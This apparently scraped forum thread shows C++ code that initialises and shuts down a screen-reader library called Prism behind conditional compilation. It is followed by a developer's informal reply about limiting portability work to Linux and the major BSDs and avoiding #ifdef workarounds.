void Speak(const std::string&, bool = true) {}
#endifand in the init funcs: // Initialize Prism for screen reader support
#ifdef USE_PRISM
bool InitPrism(HWND hwnd) {
PrismConfig cfg = prism_config_init();
cfg.hwnd = hwnd;g_prismCtx = prism_init(&cfg);
if (!g_prismCtx) {
return false;
}g_prismBackend = prism_registry_acquire_best(g_prismCtx);
if (!g_prismBackend) {
return false;
}PrismError err = prism_backend_initialize(g_prismBackend);
if (err != PRISM_OK) {
return false;
}return true;
}// Shutdown Prism
void FreePrism() {
if (g_prismBackend) {
prism_backend_free(g_prismBackend);
g_prismBackend = nullptr;
}
if (g_prismCtx) {
prism_shutdown(g_prismCtx);
g_prismCtx = nullptr;
}
}
#else
bool InitPrism(HWND) { return false; }
void FreePrism() {}
#endif -
@ska
> People who haven't invested this much time and energy into that kind of infrastructure, how do they manage?
they usually end up writing for linux only, and non-linux support ranges from "best effort" to "get out"
for myself, i look if <function> is available on linux plus the 3 "big" BSDs (Free, Open, Net), and use it if so
if it's not, or if it differs too much, i just do without -- and for cases like qsort_r that is in posix but was fucked up, i just say "well, fix your libc or get out, i'm not carrying #ifdef spagetti for that"
i really hate doing #ifdefs and wrappers for stupid things